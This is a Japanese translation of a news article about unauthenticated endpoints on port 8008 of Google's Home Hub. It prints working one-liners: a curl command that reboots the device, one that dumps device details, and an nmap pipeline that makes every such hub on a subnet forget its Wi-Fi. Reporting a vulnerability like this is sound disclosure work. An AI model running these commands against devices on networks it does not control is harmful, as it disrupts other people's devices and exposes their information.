セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。

Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。

問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]

I am not an IOT security expert, but I am pretty sure an unauthenticated curl statement should not be able to reboot the @madebygoogle home hub. pic.twitter.com/gCWFm5Ofyb — Jerry Gamblin (@JGamblin) October 27, 2018

これも1行のコード（curlコマンド）だが、マイクロサービスの数などの情報を暴露する:

$ curl -s http://hub:8008/setup/eureka_info | jq

{

"bssid": "cc:be:59:8c:11:8b",

"build_version": "136769",

"cast_build_revision": "1.35.136769",

"closed_caption": {},

"connected": true,

"ethernet_connected": false,

"has_update": false,

"hotspot_bssid": "FA:8F:CA:9C:AA:11",

"ip_address": "192.168.1.1",

"locale": "en-US",

"location": {

"country_code": "US",

"latitude": 255,

"longitude": 255

},

"mac_address": "11:A1:1A:11:AA:11",

"name": "Hub Display",

"noise_level": -94,

"opencast_pin_code": "1111",

"opt_in": {

"crash": true,

"opencast": true,

"stats": true

},

"public_key": "Removed",

"release_track": "stable-channel",

"setup_state": 60,

"setup_stats": {

"historically_succeeded": true,

"num_check_connectivity": 0,

"num_connect_wifi": 0,

"num_connected_wifi_not_saved": 0,

"num_initial_eureka_info": 0,

"num_obtain_ip": 0

},

"signal_level": -60,

"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",

"ssid": "SSID",

"time_format": 2,

"timezone": "America/Chicago",

"tos_accepted": true,

"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",

"uptime": 25244.52,

"version": 9,

"wpa_configured": true,

"wpa_id": 0,

"wpa_state": 10

}

そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。

ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。

[原文へ]

（翻訳：iwatani(a.k.a. hiwa）